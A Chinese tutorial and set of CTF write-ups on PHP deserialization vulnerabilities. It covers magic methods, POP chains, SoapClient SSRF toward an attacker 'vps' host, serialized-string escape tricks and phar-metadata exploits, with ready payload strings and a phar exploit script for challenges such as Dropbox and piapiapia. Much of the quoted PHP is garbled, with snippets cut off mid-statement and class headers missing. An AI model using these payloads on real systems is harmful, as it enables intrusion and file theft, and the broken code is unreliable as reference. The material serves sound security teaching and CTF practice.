PHP反序列化、魔术方法以及反序列化漏洞的原理
这篇文章主要讲解了"PHP反序列化、魔术方法以及反序列化漏洞的原理",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"PHP反序列化、魔术方法以及反序列化漏洞的原理"吧!
一、基础
为方便存储、转移对象,将对象转化为字符串的操作叫做序列化;将对象转化的字符串恢复成对象的过程叫做反序列化。
php中的序列化与反序列化函数分别为:serialize()、unserialize()
" . serialize($a)."\n";?>//运行结果serialize -> O:4:"azhe":3:{s:2:"iq";s:3:"200";s:2:"eq";i:300;s:8:"azhepr";s:6:"4ut15m";}将结果进行url编码如下O%3A4%3A%22azhe%22%3A3%3A%7Bs%3A2%3A%22iq%22%3Bs%3A3%3A%22200%22%3Bs%3A2%3A%22eq%22%3Bi%3A300%3Bs%3A8%3A%22azhepr%22%3Bs%3A6%3A%224ut15m%22%3B%7D
序列化后的结果可分为几类
类型:d ->d代表一个整型数字O:d -> 对象 ->d代表该对象类型的长度,例如上述的azhe类对象长度为4,原生类对象Error长度为5a:d -> 数组 ->d代表数组内部元素数量,例如array('a'=>'b','x'=>1)有两个元素s:d -> 字符串 -dN代表字符串长度,例如abc序列化后为s:3:"abc";i:d -> 整型 ->d代表整型变量的值,例如300序列化后的值则为i:300;a - arrayb - booleand - doublei - integero - common objectr - references - stringC - custom objectO - classN - nullR - pointer referenceU - unicode string
php的session存储的也是序列化后的结果
二、序列化引擎
php对session的处理有三种引擎分别为php、php_serialize、php_binary.经过这三者处理后的session结构都不相同。
php_serialize ->与serialize函数序列化后的结果一致php ->key|serialize后的结果php_binary ->键名的长度对应的ascii字符+键名+serialize()函数序列化的值默认使用php引擎
使用php引擎的结果见上图
使用php_serialize引擎的结果如下
使用php_binary引擎的结果如下
其中存在不可见字符,将结果进行URL编码如下
在session文件可写的情况下,可手动写入我们想要的内容,例如
";}else if(isset($_GET['name']) && isset($_GET['content'])){ if(preg_match('/ph/i',$_GET['name'])){ var_dump($_GET['name']); die('over'); }else file_put_contents('/var/www/html/'.$_GET['name'],$banner . $_GET['content']);}?>
该题目中可任意文件写,故写入session文件构造name=admin.payload=|s:3:"xxx";name|s:5:"admin";
简单说一下payload.
banner和payload拼接在一起后变为--4ut15m--\n|s:3:"xxx";name|s:5:"admin";
经php序列化引擎反序列化后就成为了
$_SESSION=['--4ut15m--\n' => 'xxx', 'name' => 'admin']
三、魔术方法
满足一定条件自动调用的方法即为魔术方法,常见魔术方法及触发条件如下
__wakeup() //使用unserialize时触发__sleep() //使用serialize时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把类当作字符串使用时触发__invoke() //当脚本尝试将对象调用为函数时触发
ed;$superman->eval();?>//运行结果正在实例化Superman类,这是__construct的echo你想访问ed属性,但是Superman没有这个属性,这是__get的echo你想调用eval方法,但是Superman没有这个方法,这是__call的echo正在销毁Superman对象,这是__destruct的echo
四、反序列化漏洞
当程序中存在反序列化可控点时,造成该漏洞,可通过程序中存在的类和php原生类构造pop链达成攻击。
file = "index.php"; } function __destruct(){ echo file_get_contents($this->file); }}unserialize($_GET['file']);?>
又例如
name = "4ut15m"; } function __destruct(){ echo $this->name; }}class wow{ public $wuhusihai = ""; function __construct(){ $this->wuhusihai = "wuwuwu"; } function __toString(){ $this->wuhusihai->b(); return "ok"; }}class fine{ public $code = ""; function __call($key,$value){ @eval($this->code); }}unserialize($_GET['payload']);?>
pop链为hit->__destruct() ----> wow->__toString() ----> fine->__call(),构造payload
4.1 原生类利用
l3m0n文章
原生类即是php内置类,查看拥有所需魔术方法的类如下
结果如下
Exception::__wakeupException::__toStringErrorException::__wakeupErrorException::__toStringGenerator::__wakeupDateTime::__wakeupDateTime::__set_stateDateTimeImmutable::__wakeupDateTimeImmutable::__set_stateDateTimeZone::__wakeupDateTimeZone::__set_stateDateInterval::__wakeupDateInterval::__set_stateDatePeriod::__wakeupDatePeriod::__set_stateLogicException::__wakeupLogicException::__toStringBadFunctionCallException::__wakeupBadFunctionCallException::__toStringBadMethodCallException::__wakeupBadMethodCallException::__toStringDomainException::__wakeupDomainException::__toStringInvalidArgumentException::__wakeupInvalidArgumentException::__toStringLengthException::__wakeupLengthException::__toStringOutOfRangeException::__wakeupOutOfRangeException::__toStringRuntimeException::__wakeupRuntimeException::__toStringOutOfBoundsException::__wakeupOutOfBoundsException::__toStringOverflowException::__wakeupOverflowException::__toStringRangeException::__wakeupRangeException::__toStringUnderflowException::__wakeupUnderflowException::__toStringUnexpectedValueException::__wakeupUnexpectedValueException::__toStringCachingIterator::__toStringRecursiveCachingIterator::__toStringSplFileInfo::__toStringDirectoryIterator::__toStringFilesystemIterator::__toStringRecursiveDirectoryIterator::__toStringGlobIterator::__toStringSplFileObject::__toStringSplTempFileObject::__toStringSplFixedArray::__wakeupReflectionException::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringReflectionZendExtension::__toStringDOMException::__wakeupDOMException::__toStringPDOException::__wakeupPDOException::__toStringPDO::__wakeupPDOStatement::__wakeupSimpleXMLElement::__toStringSimpleXMLIterator::__toStringPharException::__wakeupPharException::__toStringPhar::__destructPhar::__toStringPharData::__destructPharData::__toStringPharFileInfo::__destructPharFileInfo::__toStringCURLFile::__wakeupmysqli_sql_exception::__wakeupmysqli_sql_exception::__toStringSoapClient::__callSoapFault::__toStringSoapFault::__wakeup
Error
将Error对象以字符串输出时会触发__toString,构造message可xss
异常类大多都可以如此利用
SoapClient
__call方法可用
'http://vps:port','location'=>'http://vps:port/'));#echo serialize($a);$a->azhe();//还可以设置user_agent,user_agent处可通过CRLF注入恶意请求头?>
4.2 反序列化字符逃逸
序列化字符串内容可控情况下,若服务端存在替换序列化字符串中敏感字符操作,则可能造成反序列化字符逃逸。
序列化字符串字符增加
id = "100";$taoyi->name = $name;$haha = filter(serialize($taoyi));echo "haha --> {$haha}
";@$haha = unserialize($haha);if($haha->id === '3333'){ echo $flag;}?>
$taoyi->id
被限定为100,但是$taoyi->name
可控并且$taoyi
对象被序列化后会经过filter函数处理,将敏感词QAQ替换为wuwu,而我们需要使最后的$haha->id='3333'
.
正常传值name=4ut15m,结果为O:5:"Taoyi":2:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";}传递包含敏感词的值name=4ut15mQAQ,结果为O:5:"Taoyi":2:{s:4:"name";s:9:"4ut15mwuwu";s:2:"id";s:3:"100";}可以看见s:4:"name";s:9:"4ut15mwuwu";这里4ut15mwuwu的长度为10,和前面的s:9对不上,所以会反序列化失败。这里构造一个payload去闭合双引号,name=4ut15mQAQ",结果为O:5:"Taoyi":2:{s:4:"name";s:10:"4ut15mwuwu"";s:2:"id";s:3:"100";}可以看见s:10:"4ut15mwuwu"";其中s:10所对应的字符串为4ut15mwuwu,也即是我们输入的双引号闭合了前面的双引号,而序列化自带的双引号则成为了多余的双引号。我们每输入一个敏感字符串都可以逃逸一个字符(上面输入了一个QAQ,所以可以逃逸出一个双引号去闭合前面的双引号)。故我们可以通过构造payload使得我们能够控制id的值,达到对象逃逸的效果。如下图
payload为name=4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:4:"3333";}
payload构造思路先明确需要逃逸的字符串及其长度,在此即为";s:2:"id";s:4:"3333";}长度为23,需要逃逸23个字符,所以加入23个QAQ即可满足条件.
序列化字符串字符减少
id = "100";$taoyi->xixi = $xixi;$taoyi->name = $name;$haha = filter(serialize($taoyi));echo "haha --> {$haha}
";@$haha = unserialize($haha);if($haha->id === '3333'){ echo $flag;}?>
序列化字符串减少的情况,需要序列化字符串有至少两处可控点.这里是将敏感词wuwu替换为QAQ。
正常传值name=4ut15m&xixi=1234,结果为O:5:"Taoyi":3:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";}第一个可控点name作为逃逸点,第二个可控点xixi作为逃逸对象所在点.因为需要逃逸的属性id在xixi的前面,故需要通过在name处构造payload将属性id对应的字符串吞没.测试传值name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=1234结果为O:5:"Taoyi":3:{s:4:"name";s:82:"4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";}可以看到替换后s:82对应的字符串为4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100故替换后只剩两个属性name与xixi.同样的道理可以用在属性xixi上,如果不吞没属性xixi,那么在xixi处传递的数据会作为xixi的值,仍旧无法达到效果。只要将id与xixi都吞没,就可以在xixi处传递参数重新构造这两个属性值。如下
payload为name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";}
payload构造思路先明确需要逃逸的字符串,";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";},再确认逃逸字符串字符串之前需要吞没的字符串的长度,在此为";s:2:"id";s:3:"100";s:4:"xixi";s:42:" 长度为38每一个wuwu可以吞没一个字符,所以需要38个wuwu去吞没这个字符串。
4.3 PHAR协议利用
phar文件是php的打包文件,在php.ini中可以通过设置phar.readonly来控制phar文件是否为只读,若非只读(phar.readonly=Off)则可以生成phar文件.
phar文件结构
四部分,stub、manifest、contents、signature
1.stubphar文件标志,必须包含,PHP结束标志?>可以省略,但语句结束符;与stub的结尾之间不能超过两个空格。在生成phar之前应先添加stub.之前也可添加其他内容伪造成其他文件,比如GIF89a2.manifest存放phar归档信息.Manifest结构如下图所有未使用的标志保留,供将来使用,并且不得用于存储自定义信息。使用每个文件的元数据功能来存储有关特定文件的自定义信息.
phar反序列化触发函数
php中的大部分与文件操作相关函数在通过phar协议获取数据时会将phar文件的meta-data部分反序列化
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile
生成phar文件例子如下
startBuffering(); //开启缓冲区$phar->setStub(""); //设置stub$test = new pharfile();$phar->setMetadata($test); //设置metadata,这一部分数据会被序列化$phar->addFromString("azhe.txt",'test'); //添加压缩文件$phar->stopBuffering(); //关闭缓冲区?>
4.4 PHP引用
&
在php中是位运算符也是引用符(&&
为逻辑运算符).&
可以使不同名变量指向同一个值,类似于C中的地址。
倘若出现下述情况,即可使用引用符
one = "azhe"; }}$a = @unserialize($_GET['payload']);$a->two = $flag;if($a->one === $a->two){ echo "flag is here:$flag";}?>
这里的__wakeup
是不需要绕过的,$a->one
引用了$a->two
后这两者的值一定会相等,不管谁做了改变。
序列化结果中的R:2;
即是引用.
五、BUGKU
安慰奖
算是反序列化入门题吧
index.php中发现提示
下载备份文件index.php.bak,审计
";class ctf{ protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; } function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('flag能让你这么容易拿到吗?
'); } if ($this->username === 'admin') { // echo "
right!
"; $a = `$this->cmd`; var_dump($a); }else { echo "给你个安慰奖吧,hhh!"; die(); } }} $select = $_GET['code']; $res=unserialize(@$select);?>
直接编写exp
禁用了一些文件读取命令,曲线救国如下
六、BUUCTF
ZJCTF 2019 NiZhuanSiWei
源码
".file_get_contents($text,'r')."
"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; }}else{ highlight_file(__FILE__);}![image-20201204165807234.png](https://image.3001.net/images/20210218/1613636557_602e23cd4fca4536c1e47.png!small)?> //考点: 基本的反序列化漏洞,php伪协议的利用
第一层if通过php://input满足,file通过php://filter读取useless.php
//useless.phpfile)){ echo file_get_contents($this->file); echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
payload构造
创建一个Flag对象,使得该对象的file属性为flag.php提交序列化字符串即可
MRCTF2020 Ezpop
append($this->var); }}class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."
"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); }}if(isset($_GET['pop'])){ @unserialize($_GET['pop']);}else{ $a=new Show; highlight_file(__FILE__);} //考点: 基本的序列化pop链构造
payload构造
思路:1.需要将Modifier的对象当作函数调用 2.需要将Show的对象当作字符串处理 3.需要调用Test对象中不存在的属性preg_match是处理字符串的,当使得一个Show1->source为Show2对象时,可调用Show2的__toString.而该魔术方法调用$this->str->source,若使得该对象的source为Test对象,则可触发Test对象的__get方法,在Test对象的__get方法中又可构造使得将一个Modifier类当作函数调用,触发__invoke.payload如下
CISCN2019 Day1 Web1 Dropbox
注册账号登录后,在下载功能处发现任意文件下载,扒取源码如下
//index.php网盘管理 Name();$a->Size();?>
//login.phptoast('注册成功', 'info');";}if (isset($_POST["username"]) && isset($_POST["password"])) { $u = new User(); $username = (string) $_POST["username"]; $password = (string) $_POST["password"]; if (strlen($username) < 20 && $u->verify_user($username, $password)) { $_SESSION['login'] = true; $_SESSION['username'] = htmlentities($username); $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; if (!is_dir($sandbox)) { mkdir($sandbox); } $_SESSION['sandbox'] = $sandbox; echo(""); die(); } echo "";}?>登录
//download.phpopen($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close();} else { echo "File not exist";}?>
//delete.phpopen($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response);} else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response);}?>
//upload.php false, "error" => "Only gif/jpg/png allowed"); Header("Content-type: application/json"); echo json_encode($response); die(); } if (strlen($filename) < 40 && strlen($filename) !== 0) { $dst = $_SESSION['sandbox'] . $filename . $fileext; move_uploaded_file($_FILES["file"]["tmp_name"], $dst); $response = array("success" => true, "error" => ""); Header("Content-type: application/json"); echo json_encode($response); } else { $response = array("success" => false, "error" => "Invaild filename"); Header("Content-type: application/json"); echo json_encode($response); }}?>
//class.phpdb = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); }}class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = ''; $table .= '
'; foreach ($this->funcs as $func) { $table .= ' '; foreach ($this->results as $filename => $result) { $table .= '' . htmlentities($func) . ' '; } $table .= 'Opt '; $table .= ''; foreach ($result as $func => $value) { $table .= ' '; } echo $table; }}class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); }}?>' . htmlentities($value) . ' '; } $table .= '下载 / 删除 '; $table .= '先分析类文件,User类存在
__destruct
魔术方法,并且在其中调用$this->db->close()
,再一看File类,刚好有close
方法,但是User的__destruct
中并未输出结果。再看FileList类,其中存在__call
与__destruct
.__call
方法首先将调用的不存在函数$func
放至FileList->funcs
数组尾部,而后遍历FileList->files
并且调用FileList->files->$func()
,执行结果会被赋值给FileList->result
.FileList->__destruct方法输出result的结果。很常规,该题POP链很好构造。
User->__destruct --> FileList->__call --> File->close() --> FileList->__destruct
在delete.php中找到程序反序列化触发点
跟进detele方法
unlink是个文件操作函数,可以通过phar协议进行反序列化。程序可以上传图片,故生成phar文件修改后缀上传,在删除功能处触发反序列化即可(经测试,flag文件为/flag.txt)。
exp如下
db = new FileList(); }}class FileList{ private $files; private $results; private $funcs; public function __construct(){ $this->files = array(new File()); $this->results; $this->funcs; }}class File{ public $filename = "../../../../../../flag.txt";}$a = new User();$phar = new Phar('4ut15m.phar');$phar->startBuffering();$phar->setStub('');$phar->setMetadata($a);$phar->addFromString('azhe.txt','4ut15m');$phar->stopBuffering();?>网鼎杯 2020 青龙组 AreUSerialz
process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]:
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }}//考点: php弱类型语言==判断漏洞,基本的反序列化漏洞,序列化过程对protect、private属性的处理程序只允许使用ascii码在32-125范围内的字符,满足条件就反序列化。
process方法中规定,当op=="2"时可以读取
$filename
文件,op=="1"时可以写入文件.析构函数中规定,当op==="2"时使得op="1".
综上可知,当使得op !=="2"但op =="2"时,可以读取文件。构造op=2可满足条件
payload构造
因为要读取flag.php,所以使得filename='flag.php';因为要执行读取操作,所以使得op=2类的private或protected属性在序列化后存在不可见字符,不可见字符不在可使用字符范围内(如若可用则需要将序列化后的字符串进行编码),我们可以手动修改protected属性为public属性,硬核过is_valid0CTF 2016 piapiapia
发现www.zip,获得源码
//index.php 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else {?>Login //profile.phpshow_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));?>Profile " class="img-memeda " >Hi
//register.php 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if(!$user->is_exists($username)) { $user->register($username, $password); echo 'Register OK!Please Login'; } else { die('User name Already Exists'); } } else {?>Login //update.php 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!Your Profile'; } else {?>UPDATE //class.phptable, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; }}class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; }}session_start();$user = new user();$user->connect($config);//config.php//考点: 序列化字符串字符增加的反序列化代码审计过后,发现序列化(update.php)与反序列化(profile.php)的点
过滤函数filter(class.php)如下
在profile.php第16行代码中,可以看到有读取文件的操作,结合前面的序列化,可以知道这里可以逃逸photo,控制photo为想要读取的文件名再访问profile.php文件即可。
phone与email的限制很严,无法绕过,可以看见在nickname参数中我们能够输入一切我们想输入的字符(";:等).只要能够使得后半段if判断通过,即可。
strlen函数在判断数组时会返回null,而null在与整型数字判断时会返回false,故构造nickname为数组即可绕过nickname的if判断
payload构造
正常序列化结果如下$profile['phone'] = '12345678911';$profile['email'] = 'admin@admin.com';$profile['nickname'] = ['wuhusihai'];$profile['photo'] = 'upload/123456';a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"admin@admin.com";s:8:"nickname";a:1:{i:0;s:9:"wuhusihai";}s:5:"photo";s:13:"upload/123456";}明确需要逃逸的字符串为";}s:5:"photo";s:10:"config.php";},长度为34,故需要34个敏感词where来完成逃逸构造payload再序列化查看结果$profile['phone'] = '12345678911';$profile['email'] = 'admin@admin.com';$profile['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'];$profile['photo'] = 'upload/123456';a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"admin@admin.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:13:"upload/123456";}PS:可通过校验hacker字符串的长度是否为204来判断是否正确,也可在本地进行反序列化,看能否正常反序列化提交payload
访问profile.php
解码
安洵杯 2019 easy_serialize_php
源码
source_code';}if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png');}else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){ highlight_file('index.php');}else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!-> 查看phpinfo后可知flag文件d0g3_f1ag.php}else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img']));} //考点: 序列化字符串字符减少的反序列化,extract变量覆盖通过extract可覆盖全局变量
$_SESSION
进一步可控制序列化结果中的user与function,两处可控并且filter会减少序列化字符串字符数,进一步逃逸对象payload为
GET-> f=show_image POST-> _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
payload构造思路首先构造需要逃逸的字符串";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";},查看序列化后的字符串为a:3:{s:4:"user";s:0:"";s:8:"function";s:70:"";s:8:"function";s:10:"show_image";s:3:"img";s:16:"L2V0Yy9wYXNzd2Q=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}查看需要吞没的字符串长度";s:8:"function";s:70:",长度为23,根据filter函数可知,关键词php可吞没3个字符,flag可吞没4个字符,即构造flag*5+php ->flagflagflagflagflagphp二者结合可得_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}bestphp's revenge
//考点: php原生类反序列化访问flag.php,发现
only localhost can get flag!session_start();echo 'only localhost can get flag!';$flag = 'LCTF{*************************}';if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }only localhost can get flag!虽然call_user_func各个参数皆可控,但由于第二个参数类型不可控(定死为数组),无法做到任意代码执行。我们需要通过ssrf使服务器访问到flag.php即可获得flag.在没有可见的ssrf利用处时,可考虑php自身的ssrf,也即是php原生类SoapClient.如下
'http://vps/flag.php','uri'=>'http://vps/flag.php'));$a->azhe();?>所以,现在如何使程序去SSRF成为首要问题。
我们知道,php在保存session之时,会将session进行序列化,而在使用session时则会进行反序列化,可控的session值导致了序列化的内容可控。
结合php序列化引擎的知识可知,默认序列化引擎为php,该方式序列化后的结果为
key|序列化结果
,如下而php_serialize引擎存储的结果则仅为序列化结果,如下
在php引擎中,
|
之前的内容会被当作session的键,|
后的内容会在执行反序列化操作后作为session键对应的值,比如name|s:6:"4ut15m";
里的name就成为了$_SESSION['name'],而s:6:"4ut15m";
在执行反序列化操作后则变成了字符串4ut15m,二者结合即是$_SESSION['name']="4ut15m"因为call_user_func的参数可控,故我们可以调用函数ini_set或者session_start来修改序列化引擎。一系列操作如下
先生成所需的序列化字符串
需要在序列化结果前添加一个
|
,也即是|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
尝试修改题目序列化引擎,ini_set无法处理数组,故用session_start("serialize_handler")
再访问一次该页面,则变为了默认引擎(php),可以看到序列化结果键已经不再是name,值也不再是
|O:10:"SoapClient":3:{s:3:"uri";s:25:"http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}
,而是SoapClient对象接下来,想要使该SoapClient对象能够发起请求,就需要调用该对象的
__call
方法.
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
这一行代码在执行后,$a的值就成为了array(SoapClient对象,'welcome_to_the_lctf2018')
我们知道,call_user_func函数的第一个参数为数组时,它会将数组的第一个值作为类,第二个值作为方法去调用该类的方法,如下
而
__call
魔术方法会在调用不存在方法的时候自动调用,故,如果能构造到call_user_func($a)
,则可以达到执行SoapClient->welcome_to_the_lctf2018()
的效果,由于SoapClient不存在welcome_to_the_lctf2018
方法,那么这里就会自动调用__call
方法,如下在bp中重放攻击一次,得到session
修改session并刷新
感谢各位的阅读,以上就是"PHP反序列化、魔术方法以及反序列化漏洞的原理"的内容了,经过本文的学习后,相信大家对PHP反序列化、魔术方法以及反序列化漏洞的原理这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是,小编将为大家推送更多相关知识点的文章,欢迎关注!
